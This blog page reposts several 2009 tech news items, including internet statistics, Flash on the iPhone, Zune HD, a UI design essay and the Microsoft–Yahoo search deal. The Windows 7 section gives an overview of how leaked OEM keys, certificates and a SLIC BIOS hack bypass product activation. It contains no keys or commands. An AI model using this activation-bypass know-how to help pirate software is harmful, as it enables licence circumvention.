loosy|goosy|ness - Blog

Email

• 90 trillion – The number of emails sent on the Internet in 2009.
• 247 billion – Average number of email messages per day.
• 1.4 billion – The number of email users worldwide.
• 100 million – New email users since the year before.
• 81% – The percentage of emails that were spam.
• 92% – Peak spam levels late in the year.
• 24% – Increase in spam since last year.
• 200 billion – The number of spam emails per day (assuming 81% are spam).

Websites

• 234 million – The number of websites as of December 2009.
• 47 million – Added websites in 2009.

Web servers

• 13.9% – The growth of Apache websites in 2009.
• -22.1% – The growth of IIS websites in 2009.
• 35.0% – The growth of Google GFE websites in 2009.
• 384.4% – The growth of Nginx websites in 2009.
• -72.4% – The growth of Lighttpd websites in 2009.

Domain names

• 81.8 million – .COM domain names at the end of 2009.
• 12.3 million – .NET domain names at the end of 2009.
• 7.8 million – .ORG domain names at the end of 2009.
• 76.3 million – The number of country code top-level domains (e.g. .CN, .UK, .DE, etc.).
• 187 million – The number of domain names across all top-level domains (October 2009).
• 8% – The increase in domain names since the year before.

Internet users

• 1.73 billion – Internet users worldwide (September 2009).
• 18% – Increase in Internet users since the previous year.
• 738,257,230 – Internet users in Asia.
• 418,029,796 – Internet users in Europe.
• 252,908,000 – Internet users in North America.
• 179,031,479 – Internet users in Latin America / Caribbean.
• 67,371,700 – Internet users in Africa.
• 57,425,046 – Internet users in the Middle East.
• 20,970,490 – Internet users in Oceania / Australia.

Social media

• 126 million – The number of blogs on the Internet (as tracked by BlogPulse).
• 84% – Percent of social network sites with more women than men.
• 27.3 million – Number of tweets on Twitter per day (November, 2009)
• 57% – Percentage of Twitter’s user base located in the United States.
• 4.25 million – People following @aplusk (Ashton Kutcher, Twitter’s most followed user).
• 350 million – People on Facebook.
• 50% – Percentage of Facebook users that log in every day.
• 500,000 – The number of active Facebook applications.

Images

• 4 billion – Photos hosted by Flickr (October 2009).
• 2.5 billion – Photos uploaded each month to Facebook.
• 30 billion – At the current rate, the number of photos uploaded to Facebook per year.

Videos

• 1 billion – The total number of videos YouTube serves in one day.
• 12.2 billion – Videos viewed per month on YouTube in the US (November 2009).
• 924 million – Videos viewed per month on Hulu in the US (November 2009).
• 182 – The number of online videos the average Internet user watches in a month (USA).
• 82% – Percentage of Internet users that view videos online (USA).
• 39.4% – YouTube online video market share (USA).
• 81.9% – Percentage of embedded videos on blogs that are YouTube videos.

Web browsers

Malicious software

• 148,000 – New zombie computers created per day (used in botnets for sending spam, etc.)
• 2.6 million – Amount of malicious code threats at the start of 2009 (viruses, trojans, etc.)
• 921,143 – The number of new malicious code signatures added by Symantec in Q4 2009.

Data sources: Website and web server stats from Netcraft. Domain name stats from Verisign and Webhosting.info. Internet user stats from Internet World Stats. Web browser stats from Net Applications. Email stats from Radicati Group. Spam stats from McAfee. Malware stats from Symantec (and here) and McAfee. Online video stats from Comscore, Sysomos and YouTube. Photo stats from Flickr and Facebook. Social media stats from BlogPulse, Pingdom (here and here), Twittercounter, Facebook and GigaOm.

Don’t hold your breath waiting for the iPhone to support Adobe’s Flash software: Apple’s terms-of-service agreement prohibits it.

Although Adobe says it is working on a version of its popular Flash player for the iPhone, Apple is unlikely ever to permit it to appear in the handset’s App Store, no matter how much customers want it.

“I’m pretty skeptical that Flash could be implemented in a way that doesn’t violate the Terms of Service of the developer’s agreement,” said Bart Decrem, CEO of Tapulous, developer of the popular Tap Tap Revenge iPhone game.

Flash is Adobe’s highly popular platform for displaying interactive graphics, animations and multimedia within a browser. According to Adobe, 98 percent of desktop computers currently support Flash, which has led to its widespread use by web developers. Adobe’s recent announcement that it is working on a version of Flash for Windows Mobile has prompted speculation that an iPhone version might be coming soon. But the speculators may be waiting in vain, based on Apple’s TOS and the company’s history of tightly controlling applications for its smartphone platform.

Allowing Flash — which is a development platform of its own — would just be too dangerous for Apple, a company that enjoys exerting total dominance over its hardware and the software that runs on it. Flash has evolved from being a mere animation player into a multimedia platform capable of running applications of its own. That means Flash would open a new door for application developers to get their software onto the iPhone: Just code them in Flash and put them on a web page. In so doing, Flash would divert business from the App Store, as well as enable publishers to distribute music, videos and movies that could compete with the iTunes Store.

Apple’s well aware of these problems, which is why the company wrote a clause in its iPhone developers’ Terms of Service agreement (.pdf) that prohibits Flash from appearing on the iPhone:

“An Application may not itself install or launch other executable code by any means, including without limitation through the use of a plug-in architecture, calling other frameworks, other APIs or otherwise,” reads clause 3.3.2 of the iPhone SDK agreement, which was recently published on WikiLeaks. “No interpreted code may be downloaded and used in an Application except for code that is interpreted and run by Apple’s Published APIs and built-in interpreter(s).”

This could come as major disappointment to iPhone owners, as the lack of Flash support has been a paramount complaint about the handset since its release. No Flash means that the iPhone browser is incapable of displaying a large portion of the internet. For example, free Flash games aren’t supported, videos can’t be streamed from the vastly popular television and movie site Hulu, and websites that use Flash to render content or navigation won’t work on the iPhone.

It’s no wonder Adobe is expressing reluctance about the prospects of Flash for iPhone. The company on Monday demonstrated a version of Flash for Windows
Mobile handsets. And all that product manager Michele Turner could say about iPhone was, “We are working on Flash on the iPhone, but it is really up to Apple.”

Adam Dann, CEO of Nullriver, agrees that Flash would take away some of Apple’s control. Apple eventually banned Nullriver’s application NetShare because it violated AT&T Terms of Service agreement by turning the iPhone into a wireless modem for tethering. If Apple introduced Flash to iPhone, it’s possible Nullriver could code a Flash version of NetShare, repeating that violation, Dann said.

Dann added that the only way Flash could ever appear on the iPhone is if Adobe offered an extremely stripped-down version of the software. But even if there is a “Flash Lite” for iPhone, that just reinforces the point that the handset’s owners still will not have a true Flash experience.

And aside from taking software control away from Apple, Flash would introduce a slew of other potential headaches as well. Flash apps could hurt battery life, suck up the graphics-processing unit’s power, use an inordinate amount of memory, or potentially introduce security risks. Apple has plenty of customer complaints to address about the iPhone; the last thing it needs is to add Adobe and Flash to the pile.

In August, Britain’s Advertising Standards Authority pulled an iPhone advertisement because the commercial said, “All the parts of the internet are on the iPhone.” The lack of Flash and Java support on iPhone were enough for the ad to be deemed misleading. And it’s looking like Apple won’t be able to air that ad again.

Apple did not return phone calls for comment.

[via wired], [Download Apple iPhone SDK Agreement via wikileaks]

Its nearly hear. Microsoft has officially announced that next Tuesday on the 24th of November Power Pack 3 will be available via Windows Update.

The release will be available in Chinese, English, French, German, Italian, Japanese, and Spanish and users must have Windows Home Server with Power Pack 2 already installed on their home server to receive the update.

Power Pack 3 (PP3) improves the Windows Home Server experience with both Windows 7 and Windows Media Center by providing backup and restore of computers running Windows 7, Windows 7 Libraries integration, enhancements for Windows Media Center, and better support for notebook computers.

That’s new in PP3:

• Windows 7 Libraries integration
  When you install the Windows Home Server Connector and log on a computer running Windows 7, you can access the Windows Home Server shared folders from the Windows 7 libraries.
• Windows 7 Action Center backup warning suppression
  After you install the Windows Home Server Connector to enable the home server backup for your computer running Windows 7, you can suppress the Action Center warning reminding you that Windows Backup has not been set up.
• Windows 7 power settings
  You can configure your computer running Windows 7 to wake up at a scheduled backup time and then go back to sleep after the backup finishes.
• Console support for Windows 7
  Windows 7 is properly displayed as the operating system shown in the Computers & Backup tab.
• Windows Search
  Windows Search 4 is included to improve query search times, indexing times, and reliability. Extended Remote Discovery increases the efficiency of searching across all your libraries running Windows Search 4.  Files encrypted with EFS are now supported.
• TV archive
  Windows Home Server can automatically archive recorded TV by moving your recordings from a Windows Media Center computer to your home server in the format of your choice.  This enables playback in the correct format for your home computers and/or portable devices.
• Console view
  You can view information about your home server’s storage space, hard drives, backup status, and more from Windows Media Center.

Can’t wait till Tuesday, can you?

Microsoft announced a broad range of new functionality for Bing, its search engine, on Nov. 11. In addition to incorporating results from Wolfram Alpha, a "computational engine" that provides a definitive numerical answer to a search query, the revamped Bing offers a more robust video page—with feeds from MSN Video, Hulu, and ABC—and more intensive search in categories such as local events and cities.

In a sign of the increased importance of social networking to corporations such as Microsoft and Google, Bing has also incorporated Facebook and Twitter into its search features.

New study places Firefox at the top of vulnerability list for for the first half of 2009:

Application security vendor Cenzic today released its security trends report for the first half of 2009 application. In it, Cenzic claims that the Mozilla's Firefox browser led the field of Web browsers in terms of total vulnerabilities.

According to Cenzic, Firefox accounted for 44 percent of all browser vulnerabilities reported in the first half of 2009. In contrast, Apple's Safari had 35 percent of all reported browser vulnerability, Microsoft's Internet Explorer was third at 15 percent and Opera had just six percent share.

The 2009 figures stand in contrast to Cenzic's Q3/Q4 2008 report, where IE accounted for 43 percent of all reported Web browser vulnerabilities and Firefox followed closely at 39 percent.

As to why Firefox's numbers were so high, Cenzic has a few ideas.

"It's a combination of different things," Lars Ewe, CTO of Cenzic, told InternetNews.com. "They've gotten more traction as a browser, which is good for them and the more you get used the more exposure you have. As well a fair amount of the vulnerabilities have come by way of plug-ins."

One key area that Ewe said was responsible for a number of reported Firefox vulnerabilities is with how the browser handles plug-ins.

"The plug-in architecture that they have is a selling fact for the browser and one of the reasons why I love using it," Ewe said. "They can't control security aspects of all the plug-ins and the vulnerabilities are a side effect of that."

Mozilla has made numerous efforts this year to bolster its plug-in security. Recently they launched a plug-in checker service to ensure that users are running up-to-date versions. The Firefox 3.0.9 update, which came out in April, specifically addressed several key plug-in vulnerabilities.

Though Firefox had the highest number of vulnerabilities, that doesn't necessarily mean that Firefox users were more vulnerable.

Ewe said that Cenzic looked at all reported vulnerabilities. There is no specific differentiation for zero day bugs in the browser vulnerability count either. All that raises the question of how Cenzic actually came up with their vulnerability counts in the first place.

"The process that we follow is looking at a number of different vulnerability databases and sources that we have and trying to come up with a fair percentage based on the deviations we see between the databases," Ewe said. "You could make the argument, that's its 40 percent or 42 percent and there might be some variation on how you analyze it, but certainly it's not off by 20 percent."

While the Cenzic report shows Firefox at the top of the browser vulnerability pile, Ewe was quick to note that Cenzic uses Mozilla technology within its own solutions.

"Full disclosure here, Mozilla plays an important role in Cenzic's solution," Ewe said. "We are actually sitting on top of Mozilla as our agent of preference for scanning sites."

Cenzic develops an application scanning solution that uses the underlying Mozilla browser technology to test out security on Web site insides of a real browser context.

"We have a technology that we refer to as stateful assessment technology," Ewe said. "The idea behind it is to have as faithful an interaction with a Web site as possible and to determine vulnerabilities not on simple signatures but on behavioral basis of the application."

Ewe explained that when you do a cross-site scripting attack with a signature-based approach you'd just look for a server response that would indicate that the script tag has been injected. He added that the problem with that approach is that it's not faithful and the security researcher doesn't know if there is any additional logic on the client side that takes care of the script tag.

"If you want to be really faithful in the process you need to have full rendering capabilities and have all the JavaScript event handling," Ewe said. "So we leverage the entire Firefox architecture in order for us to actually have as faithful an interaction with a server as possible and maintain the client state. That results in low false-positives."

Source: www.internetnews.com

This exploration combines ideas for more natural multi-touch hardware with a smartly simplified canvas interface:

Source: http://10gui.com

Zune HD is the latest player in the Zune device family, available in 16GB and 32GB capacities and is the first touch screen Zune with HD functionality and powerful technology to give consumers a different way to experience music and video on-the-go.

• HD Radio –Zune HD comes with a built-in FM HD Radio receiver enabling users to tune to more free stations with even better clarity and sound quality.
• HD Video Out – Connect your Zune HD to the optional Zune Premium A/V docking station and watch HD videos, TV shows and movies in your large screen TV in 720p high definition
• Internet Browser and Wi-Fi - Zune HD includes a full-screen Internet browser optimized for multi-touch and Wi-Fi connectivity

Zune Software

• QuickPlay – A whole new user interface that offers one-click access to your favorites, and recent activity on both the PC and your Zune HD
• Smart DJ -  With one click, Zune becomes your personal DJ, creating and serving you an endless playlist based on the genre, style and influences of the song or artist you choose

Zune Services (Zune Marketplace and Zune.net)

• For the first time, Zune Marketplace is offering full-length movies in HD and SD format for download and rental; download HD TV shows and movies and watch them on your Zune or PC.  Or with the optional A/V docking station, watch them in high definition on your HDTV
• Zune.net Streaming - With a Zune Pass, stream music directly from Zune.net from any internet-connected computer.  No client software download needed
• Zune Pass - Access nearly 6 million songs for only $14.99 a month and keep 10 free MP3 downloads each month 
• Zune Pass + SmartDJ - If you have a Zune Pass you can use SmartDJ to stream an endless playlist from the nearly 6 million song Zune catalog from any internet connected PC via Zune.net, no download required

Expansion into Xbox

• Later this fall, Microsoft will bring the Zune video service to the nearly 20 million Xbox Live users as Zune becomes the video store for Xbox Live
• “Buy Once, Play Anywhere” - Consumers will be able to buy a movie once and watch it on multiple devices:  Xbox 360, Zune device and PC

Pricing

• Zune HD 16GB for $219.99 on Amazon (as of 9/17/09)
• Zune HD 32GB for $289.99 on Amazon (as of 9/17/09)

Zune HD is available in the retail channel on Sept 15, but for the time being the Zune HD device will remain US only.

Learn more: http://www.zune.net/en-us/products/zunehd/default.htm

Slingbox owners love their devices. They allow you to watch your home television content anywhere you are in the world with an Internet connection. A new startup, Spawn Labs, launching today at TechCrunch50 wants to extend that concept to video games.

But Spawn Labs offering is actually a bit more robust because it includes a social element as well. A key part to playing video games is playing them against other people. And with the Spawn HD Pro appliance, you’ll be able to do just that. Say a friend has an Xbox 360 in California and wants to play a game against you, but you’re in New York. From New York, you would simply install the Spawn Player application on your computer, and you could remotely connect to their system, to play a game.

The key to all of this is of course the Spawn HD Pro box, which will retail for $199 (available on their site today). These boxes will be able to transmit HD-quality (720p) content over the Internet to the computer on the other end. On those computers, users can play the game with an input device of their choosing.

The idea of playing popular video games over the web is a hot area right now. The two most well-known names in this field are OnLive and OTOY. But both of those are attempting to use their own servers to create a completely online experience, Spawn Labs is simply allowing you to take an existing console and transmit the content over the Internet. Of course, one potential issue with this method is that someone must be on the other end (where the console is) to make sure it has the game disc you want to play inside of it.

Eventually, the plan is to expand Spawn Labs’ technology beyond video games as well. They’d basically like to handle any and all video content over their box. Computers, other set-top boxes, and even mobile devices are all in the pipeline to be hooked up to Spawn Labs’ services.

Today, President and CEO David Wilson presented alongside QA engineer Daniel Bethke.

Expert Panel Q&A (paraphrased)

The experts: Don Dodge, Yossi Vardi, Ron Conway, George Zachary, and Jason Hirschhorn.

Q: Is it a weakness to have one game in at a time?
DW: That is something we thought about, but the direction of the industry is to have games on console’s hard drives.

Q: How do the graphics travel? And is this software on the console itself eventually?
DW: When you’re in a bandwidth constrained around, the network will downscale.

Q: So this is more targeted in the home?
DW: We’re targeting both.

Q: The bet is that customers will pay $200 for a hardware device to play games remotely. How often do players do that?
DW: Right now they can’t do it. But there is a strong desire for this. We have orders from several of the top game developers in the world for this.

Q: What kind of support?
DW: It runs any game on the supported consoles. (Xbox 360, Wii, Gabecube, PS3, etc)

Q: This also assumes the player has their controller?
DW: You don’t need one, but you can use any controller you want.

Q:  What about the handhelds?
DW: Theoretically yes, not sure yet though.

Pictures:

Source: http://www.techcrunch.com

Photograph by Leander Johnson

In 1971, the oft-quoted political scientist Herbert Simon predicted that in an information age, cultural producers (that's designers, but also filmmakers, theater types, musicians, artists) would quickly face a shortage of attention. "What information consumes is rather obvious: it consumes the attention of its recipients," he wrote. The more information, the less attention, and "the need to allocate that attention efficiently among the overabundance of information sources that might consume it."

Now we have a wide-ranging discussion about what is and what can't be free (Malcolm Gladwell on Chris Anderson, Virginia Postrel on Chris Anderson), which is basically about the future of profit. Maybe we should be considering a dilemma of a human nature: the future of attention.

Because there's a connection between the two.

Making something "free" is obviously an allocation strategy. "Free" attracts attention. Making things brief is an allocation strategy as well. The problem is that free isn't sustainable, and that brief is underpriced.

We need a Ronald Reagan of attention, someone to inspire us away from the fight over smaller and smaller pieces of the attention pie. Someone who will inspire us to make the attention pie bigger.

I imagine attention festivals: week-long multimedia, cross-industry carnivals of readings, installations, and performances, where you go from a tent with 30-second films, guitar solos, 10-minute video games, and haiku to the tent with only Andy Warhol movies, to a myriad of venues with other media forms and activities requiring other attention lengths. In the Nano Tent, you can hear ringtones and read tweets. A festival organized not by the forms of the commodities themselves but of the experience of interacting with them. Not organized by time elapsed, but by cognitive investment: a pop song, which goes by quickly, can resonate for days; a poem, which can go by more quickly, sticks through a season. A festival in which you can see images of your brain on knitting and on Twitter.

I imagine a retail sector for cultural products that's organized around the attention span: not around "books" or "music" but around short stories and pop songs in one aisle, poems and arias in the other. In the long store: 5,000 piece jigsaw puzzles, big novels, beer brewing equipment, DVDs of The Wire. Clerks could suggest and build attentional menus. We would develop attentional connoisseurship: the right pairings of the short and long. We would understand, and promote, attentional health.

I imagine attention-based pricing, in which prices of information commodities are inversely adjusted to the cognitive investment of consuming them. All the candy for the human brain — haiku, ringtones, bumper stickers — would be priced like the luxuries that they are. Things requiring longer attention spans would be cheaper — they might even be free, and the higher fixed costs of producing them would be covered by the higher sales of the short attention span products. Single TV episodes would be more expensive to purchase than whole seasons, in the same way that a six-pack of Oreos at the gas station is more expensive, per cookie, than a whole tray at the grocery store.

I imagine an attention tax that aspiring cultural producers must pay. A barrier to entry. If you want people to read your book, then you have to read books; if you want people to buy your book, then you buy books. Give your attention to the industry of your choice. Like indie musicians have done for decades, conceive of the scene as an attention economy, in which those who pay in (e.g., I go to your shows) get to take out (e.g., come to my show). It would also mitigate one oft-claimed peril of the rise of the amateur, which is that they don't know from quality: consuming many other examples from a variety of sources, even amateur producers would generate a sense of what's good and what's bad: in other words, in their community they'd evolve a set of standards. This might frustrate the elitists, who want to impose their standards. But standards would, given enough time, emerge. (In this I have faith.)

I imagine software, a smartphone app, perhaps, you can use to audit your attentional expenditures. So that before you embark on trying to write a book, you will be able to see how much time you spent reading books over the last month or year. So that before you design a marketing campaign that assumes that people aren't doing much else with their time until you show up, you will be able to see what you yourself were doing with your time, which was something perfectly good. This will show you that you're a savvy allocator of your attentional resources — and so is everybody else.

And yet I can't shake fantasizing about attention that has no price, that can't be bought or sold, but is given freely: a gift. I buy and read books because I want to give the gift of my attention to the attention economy I'm (as a writer) a part of. I'm inspired by Lewis Hyde in The Gift, who says that what distinguishes commodities is that they're used up, but what distinguishes gifts is that they circulate — the gift is never trapped, consumed, used up, contained or confined. That seems like the best basis for cultural production to thrive.

So this is what it's come to: when an attention gift economy seems more practical and sustainable than an exchange economy for information commodities, which is being rotted by the gift's ugly negation: the free.

Source: http://observatory.designobserver.com/

Interface complexity is an issue every designer wrestles with when designing a reasonably sophisticated application. A complex interface can reduce user effectiveness, increase the learning curve of the application, and cause users to feel intimidated and overwhelmed.

I’ve spent the past year redesigning a particularly complex application with my primary focus being on reducing complexity. In this article, I’ll go over some of the issues surrounding complexity and techniques that can be used to manage it.

Progressive Disclosure

Progressive disclosure is the most popular means of managing complexity. The idea is that clutter and cognitive overhead can be reduced by hiding less frequently used elements behind some avenue of accessing those elements, like a mouse click or a keyboard shortcut. It requires that the designer accurately determine which elements are frequently and infrequently used and to what degree.

Quite a bit of care needs to be put into the progressive disclosure hierarchy and the mechanisms used for disclosure. Poorly considered use of progressive disclosure can achieve the opposite of the intended effect by making the interface even more complex. As an example, Microsoft Windows has been trending towards removing the menu bar from individual windows and instead packing each function into the main interface (often using pull down menus), which has some issues. I’ll go over a few of them:

• There are inconsistent ways of accessing common functionality. The Print function, for example, is in different locations in both the application’s interface and the progressive disclosure hierarchy. The Print controls in Internet Explorer, Contacts (Windows Explorer), and WordPad are highlighted in the screenshot below, to illustrate this. Competing first-party Mac applications (Safari, Address Book, and TextEdit, respectively) have the Print function available in a consistent location – the last item in the File menu. A user who learns how to print in one of those Mac applications won’t have to hunt to find the Print function in other applications. It’s a “learn once, use everywhere” model.

  

• There’s a tendency to overwhelm the user with progressive disclosure points. The default Internet Explorer interface (with Windows Live installed) has a total of 17 pull down buttons – highlighted below. Further, all of these progressive disclosure controls require screen real estate. As more screen real estate is occupied by administrative actions, less is dedicated to displaying the actual content of the application (which, in this case, are webpages).

  

Contextual Actions

This is a form of progressive disclosure where contextually appropriate controls are exposed on a particular object. The most common implementation are contextual menus, activated on the Mac by a right-click or a control-click. While contextual menus are a consistent and useful way of revealing contextual actions on objects, they’re hard to discover, which makes them inappropriate for workflow-critical actions that necessitate greater weight in the interface.

The standard way to give these actions greater weight is to integrate them in your interface by providing the set of contextual controls in front of or near each object. Complexity is increased substantially, because the set of controls is repeated for every object on screen. We can get rid of most of this complexity by using a different progressive disclosure technique. Controls can be displayed on a single object if the object is selected, the object has focus, or when the mouse is over the object. This solves the complexity issue since there’s only one set of contextual controls being shown at a particular time, but it’s not without its downsides. Consider whether this sort of technique is appropriate for your interface before deciding one way or the other.

Alignment & Visual Hierarchy

Aligning elements in a user interface to a simple, consistent grid, will go great lengths in reducing the appearance of complexity. The use of strict alignment and a thoughtfully laid out grid can turn an interface from chaotic and overwhelming to harmonious and appealing.

Some compelling examples are the inspectors in Microsoft Expression Blend and Adobe Lightroom. While a host of factors are responsible for the Expression Blend inspector looking considerably more complex than the Lightroom inspector, the rough horizontal alignment is certainly a primary one. The horizontal alignment lines have been drawn in red to illustrate the differences.

The examples shown above also demonstrate the effectiveness of the techniques used in each interface to indicate hierarchy. The Lightroom inspector has very strong visual distinctions between section headings and their contents. Headings are prominent. Set in large type with generous padding and a relatively high contrast foreground-background color combination, sections, headings, and the relationships between them are immediately clear.

Visual Noise & Contrast

The amount of visual noise in an interface has a great deal of impact on the perceived complexity of the interface. And contrast plays an important role with respect to visual noise. Using lower contrast UI elements reduces visual noise which will often reduce the effective complexity of the interface, as you’ll see in the next couple of examples.

The Address Book UI eschews fields with relatively high contrast borders in favour of fields with borders that are only visible if the field has focus. This causes the fields to blend in with the rest of the interface. The Create Contact window in Entourage 2008 uses the standard window background color and standard text field styling which contributes to the interface looking more complex than the Address Book interface.

As another example, I’ve taken the Filter window in Aperture 2.0 and mocked up what it would look like with the transparent controls from iLife ‘08 (and parts of iLife ‘09) with high contrast edges instead of the relatively low contrast controls that it shipped with. The UI I’ve mocked up looks notably more complex than the shipping interface because of the higher contrast controls. Simply adjusting the styling of your controls can have a considerable impact on complexity.

Use of Icons

Interfaces widely regarded as complex with high learning curves are often characterized by an abundance of icons or glyphs that lack descriptive labels. When a user opens an application for the first time with an interface covered in label-less glyphs, it can be quite daunting. Every icon with a non-obvious meaning will have to be learned for the user to feel any sort of mastery over the application.

This is a difficult problem to solve. There often isn’t room for a label to sit next to an icon, and in many cases there is cost involved in replacing an icon with a label (mainly, users will not be able to quickly scan the interface for the icon). Deciding when to use an icon, a label, or both, is an art all in itself.

Nevertheless, here are some tips for those faced with this issue:

• Revamp your icons so they convey their meaning more effectively. Improve metaphors, adjust sizes, colors, etc.
• Use grouping to imply meaning. Grouping related icons together can often provide sufficient context to imply their function.
• Using progressive disclosure, place less often used icon-only buttons in a pull down menu with both icons and their labels. A nice benefit of this is that the user will learn the meaning of each icon when they use the pull down menu, and if the menu is designed to be used early on in a user’s experience with the application, you can get away with using those icons without labels in other places in the app (since the user will have already learned their meanings at that point).

Mental Models

A great way to reduce effective complexity is to align the conceptual model expressed by your interface with your user’s mental model as closely as possible. A poorly thought out model contributes to complexity by adding a significant amount of cognitive work that your users have to perform to learn your interface.

The recurrence UI in Windows Calendar, for instance, reflects the developer’s model of the task rather than the user’s model. Take a look at the second set of radio options in this screenshot:

1. What’s the “28th last day of the month”?
2. What’s the “4th last Tuesday of the month”?
3. How long did you spend trying to work that out?

These options feel complex because the language used and functionality that’s represented doesn’t reflect your understanding of repeating events. Combat this issue by researching how your users conceptualize relevant tasks so your models are intuitive. You can read more about mental models in the HIG.

Use your Judgement

Finally, use your own judgement. There are costs associated with nearly every technique I’ve listed here. Carefully consider each technique in the context of your interface and determine which are most appropriate for your application and how best to apply them.

Source: http://www.brandonwalkin.com/

In less than a week since Windows 7 was released to manufacturing, the first crack for the Ultimate edition of the latest iteration of the Windows client is already available in the wild. The Windows 7 Build 6.1.7600.16385 Ultimate crack is capable of activating the high-end SKU of the operating system indefinitely. The product key comes from the only source possible, an OEM, as original equipment manufacturers are the first and for the time being the last group to receive the gold bits of the operating system from Microsoft. Together with the RTM development milestone of Windows 7, the Redmond company has also supplied OEM partners with activation product keys, one of which was extracted from a leaked OEM image of the platform.

Reports from various forums and websites (which I will not link to because they offer the proof-of-concept of the Windows 7 RTM Ultimate crack, along with the activation product key, which is illegal) indicate that the cracked client can bypass Windows genuine Advantage validation with no problems whatsoever. A Windows 7 Ultimate OEM DVD ISO from Lenovo has reportedly made the hack possible. Leaked on a Chinese forum, complete with the download links, the ISO allowed for hackers to grab the OEM-SLP (System-Locked Preinstallation) product key as well as the OEM certificate for Windows 7 RTM Ultimate via boot.wim.

The bypass designed for Windows 7 RTM involves abusing OEM activation 2.1, and in this regard the circumventing process is nothing more than an OEM hack. Via OEM activation 2.1, namely SLP 2.1, Microsoft allows OEMs to pre-activate Windows 7 for distribution preinstalled on new computers. In this context, the activation bypass process leading to the hacked Windows 7 RTM needs to be based on a BIOS (SLIC) hack first of all.

The procedure is by no means new. Hackers have managed to crack Windows Vista much in the same manner. In fact, the Windows 7 RTM Ultimate activation crack also relies on an OEM certificate from Windows Vista in order to function. At the time of this article hackers have made available in the wild SLIC 2.1 BIN harvested from computers on the market, as well as the genuine OEM certificate digitally signed by Microsoft, which automatically brings to the table the Private Key and the OEM Public Key as well as the OEMID (from SLIC in BIOS). Together with the leaked OEM SLP master product key Windows 7 can be hacked and the activation process bypassed. The result is a cracked copy of Windows 7 RTM Ultimate permanently activated.

It also seems that the crack is not limited to Lenovo machines. The activation process can also be circumvented on HP, Dell, and MSI computers according to reports. Because of the OEM product key, the crack is limited to the Ultimate edition of Windows 7 (useless for all other SKUs, Home Basic, Home Premium, Professional), but can be used on both 32-bit and 64-bit versions of the operating system.

Source: http://news.softpedia.com/

SUNNYVALE, CA and REDMOND, WA — 29 July, 2009 — Yahoo! and Microsoft announced an agreement that will improve the Web search experience for users and advertisers, and deliver sustained innovation to the industry. In simple terms, Microsoft will now power Yahoo! search while Yahoo! will become the exclusive worldwide relationship sales force for both companies' premium search advertisers.

For Web users and advertisers, this deal will accelerate the pace and breadth of innovation by combining both companies' complementary strengths and search platforms into a market competitor with the scale to fuel sustained development in search and search advertising. Users will find what they care about faster and with more personal relevance. Microsoft's competitive search platforms will lead to more value for advertisers, better results for web publishers, and increased innovation and efficiency across the Internet.

Under this agreement, Yahoo! will focus on its core business of providing consumers with great experiences with the world's favorite online destinations and Web products.

"This agreement comes with boatloads of value for Yahoo!, our users, and the industry. And I believe it establishes the foundation for a new era of Internet innovation and development," said Yahoo! CEO Carol Bartz. "Users will continue to experience search as a vital part of their Yahoo! experiences and will enjoy increased innovation thanks to the scale and resources this deal provides. Advertisers will also benefit from scale and enjoy greater ease of use and efficiencies working with a single platform and sales team for premium advertisers. Finally, this deal will help us increase our investments in priority areas in winning audience properties, display advertising capabilities, and mobile experiences."

Providing a viable alternative to advertisers, this deal will combine Yahoo! and Microsoft search marketplaces so that advertisers no longer have to rely on one company that dominates more than 70 percent of all search. With the addition of Yahoo!'s search volume, Microsoft will achieve the size and scale required to unleash competition and innovation in the market, for consumers as well as advertisers.

Microsoft CEO Steve Ballmer said the agreement will provide Microsoft's search engine, Bing, the scale necessary to more effectively compete, attracting more users and advertisers, which in turn will lead to more relevant ads and search results.

"Through this agreement with Yahoo!, we will create more innovation in search, better value for advertisers, and real consumer choice in a market currently dominated by a single company," said Ballmer. "Success in search requires both innovation and scale. With our new Bing search platform, we've created breakthrough innovation and features. This agreement with Yahoo! will provide the scale we need to deliver even more rapid advances in relevancy and usefulness. Microsoft and Yahoo! know there's so much more that search could be. This agreement gives us the scale and resources to create the future of search."

"This deal fits the long-term strategic direction of Yahoo! to remain the world's leading online media company and Carol Bartz has the full and unanimous support of the Yahoo! Board behind this deal," said Roy Bostock, chairman, Yahoo! Inc. "This is a significant opportunity for us. Microsoft is an industry innovator in search, and it is a great opportunity for us to focus our investments in other areas critical to our future."

The key terms of the agreement are as follows:

• The term of the agreement is 10 years;

• Microsoft will acquire an exclusive 10 year license to Yahoo!'s core search technologies, and Microsoft will have the ability to integrate Yahoo! search technologies into its existing web search platforms;

• Microsoft's Bing will be the exclusive algorithmic search and paid search platform for Yahoo! sites. Yahoo! will continue to use its technology and data in other areas of its business such as enhancing display advertising technology.

• Yahoo! will become the exclusive worldwide relationship sales force for both companies' premium search advertisers. Self-serve advertising for both companies will be fulfilled by Microsoft's AdCenter platform, and prices for all search ads will continue to be set by AdCenter's automated auction process.

• Each company will maintain its own separate display advertising business and sales force.

• Yahoo! will innovate and "own" the user experience on Yahoo! properties, including the user experience for search, even though it will be powered by Microsoft technology.

• Microsoft will compensate Yahoo! through a revenue sharing agreement on traffic generated on Yahoo!'s network of both owned and operated (O&O) and affiliate sites.

  • Microsoft will pay traffic acquisition costs (TAC) to Yahoo! at an initial rate of 88% of search revenue generated on Yahoo!'s O&O sites during the first 5 years of the agreement.

  • Yahoo! will continue to syndicate its existing search affiliate partnerships.

• Microsoft will guarantee Yahoo!'s O&O revenue per search (RPS) in each country for the first 18 months following initial implementation in that country.

• At full implementation (expected to occur within 24 months following regulatory approval), Yahoo! estimates, based on current levels of revenue and current operating expenses, that this agreement will provide a benefit to annual GAAP operating income of approximately $500 million and capital expenditure savings of approximately $200 million. Yahoo! also estimates that this agreement will provide a benefit to annual operating cash flow of approximately $275 million.

• The agreement protects consumer privacy by limiting the data shared between the companies to the minimum necessary to operate and improve the combined search platform, and restricts the use of search data shared between the companies. The agreement maintains the industry-leading privacy practices that each company follows today.

The agreement does not cover each company's web properties and products, email, instant messaging, display advertising, or any other aspect of the companies' businesses. In those areas, the companies will continue to compete vigorously.

The transaction will be subject to regulatory review. The agreement entered into today anticipates that the parties will enter into more detailed definitive agreements prior to closing. Microsoft and Yahoo! expect the agreement to be closely reviewed by the industry and government regulators, and welcome questions. The companies are hopeful that closing can occur in early 2010.

The companies have established a website at http://www.choicevalueinnovation.com to provide consumers, advertisers and publishers with additional information about the benefits of the agreement.

Conference Call – 5:30 a.m. PDT, Wednesday, July 29

